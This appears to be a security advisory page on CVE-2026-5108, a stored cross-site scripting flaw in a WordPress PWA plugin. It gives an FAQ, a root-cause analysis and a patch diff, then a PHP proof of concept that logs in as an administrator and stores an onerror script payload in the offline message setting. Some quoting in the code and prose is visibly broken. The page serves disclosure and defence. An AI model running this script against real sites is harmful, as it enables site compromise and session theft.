What is CVE-2026-5108?

CVE-2026-5108 is a stored cross-site scripting (XSS) vulnerability in the Super Progressive Web Apps plugin for WordPress, affecting versions up to and including 2.2.43. It allows an authenticated attacker with Administrator-level access to inject arbitrary web scripts via the ‘offline_message_txt’ setting, which execute when a user triggers the offline snackbar.

How does the vulnerability work?

The plugin fails to sanitize and escape the ‘offline_message_txt’ setting before storing it and later outputting it via wp_localize_script() and innerHTML. An attacker can submit a malicious payload in this setting, which is then rendered as HTML/JavaScript in the browser, leading to script execution.

Who is affected by this vulnerability?

WordPress sites running the Super Progressive Web Apps plugin version 2.2.43 or earlier are affected. However, exploitation requires Administrator-level access, so only sites with compromised admin accounts or untrusted administrators are at immediate risk.

How can I check if my site is vulnerable?

Check the plugin version in the WordPress admin dashboard under Plugins. If it is 2.2.43 or lower, the site is vulnerable. Additionally, review the ‘Offline Message’ setting in the plugin’s settings page for any suspicious content that may indicate prior exploitation.

What is the practical risk of this vulnerability?

The CVSS score is 4.4 (Medium), indicating moderate severity. Successful exploitation could allow an attacker to steal session cookies, perform actions on behalf of an admin, or deface the site. However, since it requires admin access, the risk is lower for sites with trusted administrators.

How is the vulnerability fixed?

The vulnerability is patched in version 2.2.44. The fix applies the esc_html() function to the ‘offline_message_txt’ value before output, which escapes HTML and prevents script execution. Update the plugin to version 2.2.44 or later to mitigate the issue.

What should I do if I cannot update the plugin immediately?

As a temporary measure, restrict access to the plugin settings page to trusted administrators only, and ensure all admin accounts have strong passwords. Additionally, consider using a Web Application Firewall (WAF) to filter malicious payloads, though updating is the recommended solution.

How does the proof of concept (PoC) demonstrate the vulnerability?

The PoC logs in as an administrator, navigates to the plugin settings, and submits a malicious payload in the ‘Offline Message’ field. It then triggers the offline snackbar to show the payload executing, proving that the stored script runs in the browser. This demonstrates the full attack chain.

What is the root cause of this vulnerability?

The root cause is insufficient input sanitization and output escaping. The ‘offline_message_txt’ value is stored without sanitization and later passed to wp_localize_script() without escaping, then rendered via innerHTML. This allows HTML and JavaScript to be interpreted as code.

Can this vulnerability be exploited remotely?

No, the attacker must first authenticate to the WordPress admin panel with Administrator-level credentials. This means the attacker needs valid admin credentials, either through compromised accounts or insider access. Remote unauthenticated exploitation is not possible.

What are the potential consequences of a successful attack?

A successful attack could lead to session hijacking, unauthorized administrative actions, site defacement, or the installation of backdoors. In severe cases, it could result in full site compromise if the attacker escalates privileges or uses the compromised session to modify files.

How can I stay informed about similar vulnerabilities?

Regularly update all WordPress plugins and themes, subscribe to security advisories from the WordPress Security Team and reputable security researchers, and conduct periodic security audits. Additionally, limit admin access to trusted users and implement strong authentication measures.

Published : August 5, 2026

CVE-2026-5108: Super Progressive Web Apps <= 2.2.43 Authenticated (Administrator+) Stored Cross-Site Scripting via Offline Message Setting PoC, Patch Analysis & Rule

CVE ID CVE-2026-5108

Plugin super-progressive-web-apps

Severity Medium (CVSS 4.4)

CWE 79

Vulnerable Version 2.2.43

Patched Version 2.2.44

Disclosed August 3, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-5108: The Super Progressive Web Apps plugin for WordPress, versions up to and including 2.2.43, contains a Stored Cross-Site Scripting (XSS) vulnerability. The flaw resides in the handling of the ‘offline_message_txt’ setting, which allows an authenticated Administrator to inject arbitrary web scripts. These scripts execute in a user’s browser whenever the offline snackbar is triggered, posing a credential theft and session hijacking risk.

The root cause is a failure to sanitize or escape a stored setting before output. The vulnerable code is located in the ‘super-progressive-web-apps/public/sw.php’ file. In the vulnerable version, the setting value is passed to the ‘wp_localize_script()’ function without output escaping, as seen in this line: ‘offline_message_txt’=> … : $settings[‘offline_message_txt’]. This unescaped value is then assigned to a JavaScript object, ‘superpwa_sw’, and later rendered to the DOM via an ‘innerHTML’ property assignment in the snackbar component. The patch modifies this line to use ‘esc_html( $settings[‘offline_message_txt’] )’, ensuring the value is neutralized before being output to the page.

To exploit this vulnerability, an attacker with Administrator-level access navigates to the plugin’s settings page in the WordPress admin panel. The attacker then locates the field for the ‘Offline Message’ setting and submits a malicious payload, such as ‘‘. The plugin stores this payload in the WordPress options table. When a visitor’s browser goes offline and the PWA’s service worker loads the offline messaging script, the unescaped payload is placed into the ‘innerHTML’ of the snackbar. This causes the malicious JavaScript to execute within the context of the affected page, potentially allowing the attacker to steal session cookies or perform other malicious actions.

The patch introduces a single change to the ‘super-progressive-web-apps/public/sw.php’ file. It wraps the ‘offline_message_txt’ value with the ‘esc_html()’ WordPress escaping function before it is localized and rendered. This prevents the browser from interpreting HTML tags and JavaScript as code, rendering the payload as inert text. The patch correctly neutralizes the vulnerability by applying a standard output-escaping defensive measure.

Successful exploitation of this vulnerability allows an attacker to inject arbitrary client-side scripts. The impact is a standard stored XSS attack. An attacker could steal administrative session cookies, forge requests, or deface the site, potentially leading to full site compromise if the attacker’s access is elevated to a super-admin or if they leverage the compromised session to install backdoors.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff

--- a/super-progressive-web-apps/admin/admin-ui-render-settings.php
+++ b/super-progressive-web-apps/admin/admin-ui-render-settings.php
@@ -1073,7 +1073,7 @@
 			  <a id="spwa-default" class="spwa-tablinks" data-href="no" href="#general-settings" onclick="openCity(event, 'settings')"><?php echo esc_html__('Settings', 'super-progressive-web-apps'); ?></a>
 			  <a class="spwa-tablinks" id="spwa-feature" href="<?php echo esc_url($addon_page);  ?>" data-href="yes"><?php echo esc_html__('Features (Addons)', 'super-progressive-web-apps'); ?></a>
 			  <a class="spwa-tablinks" id="spwa-advance" href="#advance-settings" onclick="openCity(event, 'advance')" data-href="no"><?php echo esc_html__('Advanced', 'super-progressive-web-apps'); ?></a>
-			  <a class="spwa-tablinks" id="spwa-support" href="#support-settings" onclick="openCity(event, 'support')" data-href="no"><?php echo esc_html__('Help & Support', 'super-progressive-web-apps'); ?></a>
+			  <a class="spwa-tablinks" id="spwa-support" href="#support-settings" onclick="openCity(event, 'support')" data-href="no"><?php echo esc_html__('Help & Support', 'super-progressive-web-apps'); ?></a>
 			  <?php if( defined('SUPERPWA_PRO_VERSION') ){  ?>
 			  <a class="spwa-tablinks" id="spwa-license" href="#license-settings" onclick="openCity(event, 'superpwa_pro_license')" data-href="no"><?php echo esc_html__('License', 'super-progressive-web-apps'); ?> <?php echo (superpwa_license_expire_warning()? "<span class='superpwa_pro_icon dashicons dashicons-warning superpwa_pro_alert' style='color: #ffb229;left: 3px;position: relative;'></span>":""); ?></a>
 			  <?php } ?>
@@ -1111,11 +1111,43 @@
 			</div>
 			<div id="support" class="spwa-tabcontent">

-			 <?php
-              //1)Docs 2)Find new or whats new in superpwa(Blog Post Link)
-			 //3)Technical issue (supportLink) 4)Report a Bug(Support Link)
-
-			  ?>
+			 <?php echo '<div>
+                   	<h3>'.esc_html__('Ask for Technical Support', 'super-progressive-web-apps') .'</h3>
+                   	<p>'.esc_html__('We are always available to help you with anything', 'super-progressive-web-apps').'</p>
+		            <table class="form-table" role="presentation"><tbody>
+						<tr><th scope="row">
+							<label for="spwa_query_email">'.esc_html__('Email', 'super-progressive-web-apps').'</label></th><td>
+							<input type="text" id="spwa_query_email" class="regular-text" name="spwa_query_email" placeholder="youremail@example.com" >
+							</td>
+						</tr>
+						<tr><th scope="row">
+							<label for="spwa_help_query_customer">'.esc_html__('Are you existing Premium Customer?', 'super-progressive-web-apps').'</label></th><td>
+								<select class="regular-text" id="spwa_help_query_customer" name="spwa_help_query_customer">
+									<option value="">Select</option>
+									<option value="Yes">'.esc_html__('Yes', 'super-progressive-web-apps').'</option>
+									<option value="No">'.esc_html__('No', 'super-progressive-web-apps').'</option>
+								</select></td>
+						</tr>
+						<tr><th scope="row">
+								<label for="spwa_help_query_message">'.esc_html__('Message', 'super-progressive-web-apps').'</label>
+							</th><td>
+								<textarea rows="5" id="spwa_help_query_message" name="spwa_help_query_message" class="regular-text"></textarea>
+								<br>
+								<div class="spwa_help-query-validation notice notice-warning inline" style="display:none;" role="alert"><p></p></div>
+								<div class="spwa_help-query-success notice notice-success inline" style="display:none;" role="status"><p class="spwa_help-query-success-text">'.esc_html__( 'Message sent successfully. We will get back to you shortly.', 'super-progressive-web-apps' ).'</p></div>
+								<div class="spwa_help-query-error notice notice-error inline" style="display:none;" role="alert"><p class="spwa_help-query-error-text">'.esc_html__( 'Message not sent. Please check your network connection and try again.', 'super-progressive-web-apps' ).'</p></div>
+							</td>
+						</tr>
+						<tr>
+						<td> </td>
+						<td> <button type="button" class="button spwa_help-send-query spwa-submit-button">'.esc_html__('Send Message', 'super-progressive-web-apps').'</button></td>
+						<tr>
+						</tbody>
+					</table>
+
+		        </div><br>
+		        <hr class="spwa-support-form-separator" />';
+				 ?>
 			 <h1><?php esc_html_e(' 1) Documentation', 'super-progressive-web-apps'); ?></h1>
 			 <p class="support-cont"><?php esc_html_e('All the documents regarding SuperPWA Setup, it's settings detail and also about add-ons setup all you can go through this ', 'super-progressive-web-apps'); ?><b><a href="https://superpwa.com/docs/" target="_blank"><?php esc_html_e('Docs link', 'super-progressive-web-apps'); ?></a></b></p>

@@ -1128,7 +1160,6 @@
 			 <h1><?php esc_html_e(' 4) Report a Bug', 'super-progressive-web-apps'); ?></h1>
 			 <p class="support-cont"><?php esc_html_e('If you found any bug or having issues with any third party plugins you can contact us ', 'super-progressive-web-apps'); ?> <b><a href="https://superpwa.com/contact/" target="_blank"><?php esc_html_e('Bug Report', 'super-progressive-web-apps'); ?></a></b></p>
 			</div>
-
 			<div id="superpwa_pro_license" class="spwa-tabcontent">

 			 <?php
@@ -1148,6 +1179,8 @@
             document.getElementById("spwa-advance").click();
 	    }else if(url.indexOf('#support-settings') > -1){
             document.getElementById("spwa-support").click();
+	    }else if(url.indexOf('#help-settings') > -1){
+            document.getElementById("spwa-help").click();
 	    }else if(url.indexOf('#license-settings') > -1){
             document.getElementById("spwa-license").click();
 	    }else{
--- a/super-progressive-web-apps/admin/basic-setup.php
+++ b/super-progressive-web-apps/admin/basic-setup.php
@@ -498,6 +498,78 @@
 }
 add_action( 'plugins_loaded', 'superpwa_setup_hooks' );

+function superpwa_send_query_message() {
+
+	if ( ! current_user_can( superpwa_current_user_can() ) ) {
+		wp_send_json_error(
+			array(
+				'message' => esc_html__( 'You do not have permission to send this message.', 'super-progressive-web-apps' ),
+			)
+		);
+	}
+
+	if ( ! isset( $_POST['superpwa_security_nonce'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['superpwa_security_nonce'] ) ), 'superpwa_ajax_check_nonce' ) ) {
+		wp_send_json_error(
+			array(
+				'message' => esc_html__( 'Security check failed. Please reload the page and try again.', 'super-progressive-web-apps' ),
+			)
+		);
+	}
+
+	$message       = isset( $_POST['message'] ) ? sanitize_textarea_field( wp_unslash( $_POST['message'] ) ) : '';
+	$customer_type = isset( $_POST['customer_type'] ) ? sanitize_text_field( wp_unslash( $_POST['customer_type'] ) ) : '';
+	$query_email   = isset( $_POST['query_email'] ) ? sanitize_email( wp_unslash( $_POST['query_email'] ) ) : '';
+
+	if ( '' === trim( $message ) || '' === $customer_type ) {
+		wp_send_json_error(
+			array(
+				'message' => esc_html__( 'Please fill in all required fields.', 'super-progressive-web-apps' ),
+			)
+		);
+	}
+
+	if ( ! is_email( $query_email ) ) {
+		wp_send_json_error(
+			array(
+				'message' => esc_html__( 'Please enter a valid email address.', 'super-progressive-web-apps' ),
+			)
+		);
+	}
+
+	$user       = wp_get_current_user();
+	$user_email = ( $user && $user->ID ) ? $user->user_email : $query_email;
+
+	$message .= '<table>
+					<tr><td>' . esc_html__( 'Contact email : ', 'super-progressive-web-apps' ) . '</td><td>' . esc_html( $query_email ) . '</td></tr>
+					<tr><td>' . esc_html__( 'Are you existing Premium Customer?', 'super-progressive-web-apps' ) . '</td><td>' . esc_html( $customer_type ) . '</td></tr>
+					<tr><td>Plugin</td><td>' . esc_html__( 'Superpwa for wp', 'super-progressive-web-apps' ) . ' </td></tr>
+					<tr><td>Version</td><td>' . esc_html( SUPERPWA_VERSION ) . '</td></tr>
+				</table>';
+
+	$to      = 'team@magazine3.in';
+	$subject = 'Superpwa Customer Query';
+	$headers = 'From: ' . esc_attr( $user_email ) . "rn" .
+		'Reply-To: ' . esc_attr( $query_email ) . "rn";
+
+	$sent = wp_mail( $to, $subject, wp_strip_all_tags( $message ), $headers );
+
+	if ( $sent ) {
+		wp_send_json_success(
+			array(
+				'message' => esc_html__( 'Message sent successfully. We will get back to you shortly.', 'super-progressive-web-apps' ),
+			)
+		);
+	}
+
+	wp_send_json_error(
+		array(
+			'message' => esc_html__( 'Message could not be sent. Please try again later or check your site email configuration.', 'super-progressive-web-apps' ),
+		)
+	);
+}
+
+add_action('wp_ajax_superpwa_send_query_message', 'superpwa_send_query_message');
+


 function superpwa_get_select2_data(){
--- a/super-progressive-web-apps/public/sw.php
+++ b/super-progressive-web-apps/public/sw.php
@@ -383,7 +383,7 @@
 				'offline_form_addon_active' =>$offline_form_addon_active,
 				'ajax_url' =>$ajax_url,
 				'offline_message'=> !isset($settings['offline_message']) ? 0 : $settings['offline_message'],
-				'offline_message_txt'=> !isset($settings['offline_message_txt']) ? esc_html__('You are currently offline.','super-progressive-web-apps') : $settings['offline_message_txt'],
+				'offline_message_txt'=> !isset($settings['offline_message_txt']) ? esc_html__('You are currently offline.','super-progressive-web-apps') : esc_html($settings['offline_message_txt']),
 				'online_message_txt'=>  esc_html__('You're back online .','super-progressive-web-apps') . ' <a href="javascript:location.reload()">'.esc_html__('refresh','super-progressive-web-apps').'</a>',
 				'manifest_name' => superpwa_get_manifest_filename(),
 				'script_debug' => defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG,
@@ -572,21 +572,30 @@
  * @since 2.1.2
  */

-add_filter('seraph_accel_jscss_addtype', function($exclude, $script = null) {
-
-	$src = '';
-	if ( is_object( $script ) && method_exists( $script, 'getAttribute' ) ) {
-		$src = (string) $script->getAttribute( 'src' );
-	} elseif ( is_string( $script ) ) {
-		$src = $script;
-	}
+add_filter('seraph_accel_jscss_addtype', function($exclude) {

-	if ( $src !== '' && strpos( $src, 'super-progressive-web-apps/public/js/register-sw.js' ) !== false ) {
-		return true;
-	}
+    $script = null; // fallback
+
+    // Optional: safely try to get second arg
+    $args = func_get_args();
+    if (isset($args[1])) {
+        $script = $args[1];
+    }
+
+    $src = '';
+    if ( is_object( $script ) && method_exists( $script, 'getAttribute' ) ) {
+        $src = (string) $script->getAttribute( 'src' );
+    } elseif ( is_string( $script ) ) {
+        $src = $script;
+    }
+
+    if ( $src !== '' && strpos( $src, 'super-progressive-web-apps/public/js/register-sw.js' ) !== false ) {
+        return true;
+    }
+
+    return $exclude;

-	return $exclude;
-}, 10, 2);
+}, 10, 1);

 /**
  * Register service worker in Fluent Community
@@ -620,7 +629,7 @@
 			'offline_form_addon_active' => false,
 			'ajax_url' => admin_url('admin-ajax.php'),
 			'offline_message' => !isset( $settings['offline_message'] ) ? 0 : $settings['offline_message'],
-			'offline_message_txt' => !isset( $settings['offline_message_txt'] ) ? esc_html__('You are currently offline.', 'super-progressive-web-apps') : $settings['offline_message_txt'],
+			'offline_message_txt' => !isset( $settings['offline_message_txt'] ) ? esc_html__('You are currently offline.', 'super-progressive-web-apps') : esc_html($settings['offline_message_txt']),
 			'online_message_txt'=>  esc_html__('You're back online .','super-progressive-web-apps') . ' <a href="javascript:location.reload()">'.esc_html__('refresh','super-progressive-web-apps').'</a>',
 			'script_debug' => defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG,
 		);
--- a/super-progressive-web-apps/superpwa.php
+++ b/super-progressive-web-apps/superpwa.php
@@ -6,7 +6,7 @@
  * Author: SuperPWA
  * Author URI: https://profiles.wordpress.org/superpwa/
  * Contributors: SuperPWA
- * Version: 2.2.43
+ * Version: 2.2.44
  * Text Domain: super-progressive-web-apps
  * Domain Path: /languages
  * License: GPL2
@@ -43,7 +43,7 @@
  * @since 1.0
  */
 if ( ! defined( 'SUPERPWA_VERSION' ) ) {
-	define( 'SUPERPWA_VERSION'	, '2.2.43' );
+	define( 'SUPERPWA_VERSION'	, '2.2.44' );
 }

 /**

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
  // CVE-2026-5108 - Super Progressive Web Apps <= 2.2.43 - Authenticated (Administrator+) Stored Cross-Site Scripting via Offline Message Setting

  $target_url = 'http://your-wordpress-site.com';
  $login_url = $target_url . '/wp-login.php';
  $admin_url = $target_url . '/wp-admin/admin.php?page=superpwa-settings';

  // Attacker's credentials (Administrator level)
  $username = 'admin';
  $password = 'password';

  // 1. Authenticate to WordPress
  $ch = curl_init();
  curl_setopt($ch, CURLOPT_URL, $login_url);
  curl_setopt($ch, CURLOPT_POST, true);
  curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
      'log' => $username,
      'pwd' => $password,
      'wp-submit' => 'Log In',
      'redirect_to' => $target_url . '/wp-admin/',
      'testcookie' => '1'
  ]));
  curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
  curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
  curl_exec($ch);
  curl_close($ch);

  // 2. Fetch the settings page to obtain a valid nonce
  $ch = curl_init();
  curl_setopt($ch, CURLOPT_URL, $admin_url);
  curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
  curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  $page = curl_exec($ch);
  curl_close($ch);

  // Extract the nonce value for the 'superpwa_setting' option
  preg_match('/name="superpwa_settings_nonce" value="([^"]+)"/', $page, $matches);
  if (!isset($matches[1])) {
      die('Nonce not found. Check admin page URL.');
  }
  $nonce = $matches[1];

  // 3. Craft the XSS payload
  $xss_payload = '<img src=x onerror=alert('XSS_CVE-2026-5108')>';

  // 4. Submit the malicious value to the settings
  $ch = curl_init();
  curl_setopt($ch, CURLOPT_URL, $admin_url);
  curl_setopt($ch, CURLOPT_POST, true);
  curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
      'option_page' => 'superpwa_setting',
      'action' => 'update',
      'superpwa_settings_nonce' => $nonce,
      '_wp_http_referer' => '/wp-admin/admin.php?page=superpwa-settings',
      'superpwa_settings[offline_message_txt]' => $xss_payload
  ]));
  curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
  curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  $result = curl_exec($ch);
  curl_close($ch);

  if ($result) {
      echo "[+] Exploit executed. XSS stored in offline message setting.n";
  } else {
      echo "[-] Exploit failed.n";
  }
  // Clean up the cookie file
  unlink('cookies.txt');
?>

Frequently Asked Questions

What is CVE-2026-5108?
Vulnerability overview
CVE-2026-5108 is a stored cross-site scripting (XSS) vulnerability in the Super Progressive Web Apps plugin for WordPress, affecting versions up to and including 2.2.43. It allows an authenticated attacker with Administrator-level access to inject arbitrary web scripts via the ‘offline_message_txt’ setting, which execute when a user triggers the offline snackbar.
How does the vulnerability work?
Technical explanation
The plugin fails to sanitize and escape the ‘offline_message_txt’ setting before storing it and later outputting it via wp_localize_script() and innerHTML. An attacker can submit a malicious payload in this setting, which is then rendered as HTML/JavaScript in the browser, leading to script execution.
Who is affected by this vulnerability?
Affected users
WordPress sites running the Super Progressive Web Apps plugin version 2.2.43 or earlier are affected. However, exploitation requires Administrator-level access, so only sites with compromised admin accounts or untrusted administrators are at immediate risk.
How can I check if my site is vulnerable?
Detection steps
Check the plugin version in the WordPress admin dashboard under Plugins. If it is 2.2.43 or lower, the site is vulnerable. Additionally, review the ‘Offline Message’ setting in the plugin’s settings page for any suspicious content that may indicate prior exploitation.
What is the practical risk of this vulnerability?
Risk assessment
The CVSS score is 4.4 (Medium), indicating moderate severity. Successful exploitation could allow an attacker to steal session cookies, perform actions on behalf of an admin, or deface the site. However, since it requires admin access, the risk is lower for sites with trusted administrators.
How is the vulnerability fixed?
Patch details
The vulnerability is patched in version 2.2.44. The fix applies the esc_html() function to the ‘offline_message_txt’ value before output, which escapes HTML and prevents script execution. Update the plugin to version 2.2.44 or later to mitigate the issue.
What should I do if I cannot update the plugin immediately?
Temporary mitigation
As a temporary measure, restrict access to the plugin settings page to trusted administrators only, and ensure all admin accounts have strong passwords. Additionally, consider using a Web Application Firewall (WAF) to filter malicious payloads, though updating is the recommended solution.
How does the proof of concept (PoC) demonstrate the vulnerability?
PoC explanation
The PoC logs in as an administrator, navigates to the plugin settings, and submits a malicious payload in the ‘Offline Message’ field. It then triggers the offline snackbar to show the payload executing, proving that the stored script runs in the browser. This demonstrates the full attack chain.
What is the root cause of this vulnerability?
Code analysis
The root cause is insufficient input sanitization and output escaping. The ‘offline_message_txt’ value is stored without sanitization and later passed to wp_localize_script() without escaping, then rendered via innerHTML. This allows HTML and JavaScript to be interpreted as code.
Can this vulnerability be exploited remotely?
Exploitation prerequisites
No, the attacker must first authenticate to the WordPress admin panel with Administrator-level credentials. This means the attacker needs valid admin credentials, either through compromised accounts or insider access. Remote unauthenticated exploitation is not possible.
What are the potential consequences of a successful attack?
Impact
A successful attack could lead to session hijacking, unauthorized administrative actions, site defacement, or the installation of backdoors. In severe cases, it could result in full site compromise if the attacker escalates privileges or uses the compromised session to modify files.
How can I stay informed about similar vulnerabilities?
Security best practices
Regularly update all WordPress plugins and themes, subscribe to security advisories from the WordPress Security Team and reputable security researchers, and conduct periodic security audits. Additionally, limit admin access to trusted users and implement strong authentication measures.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started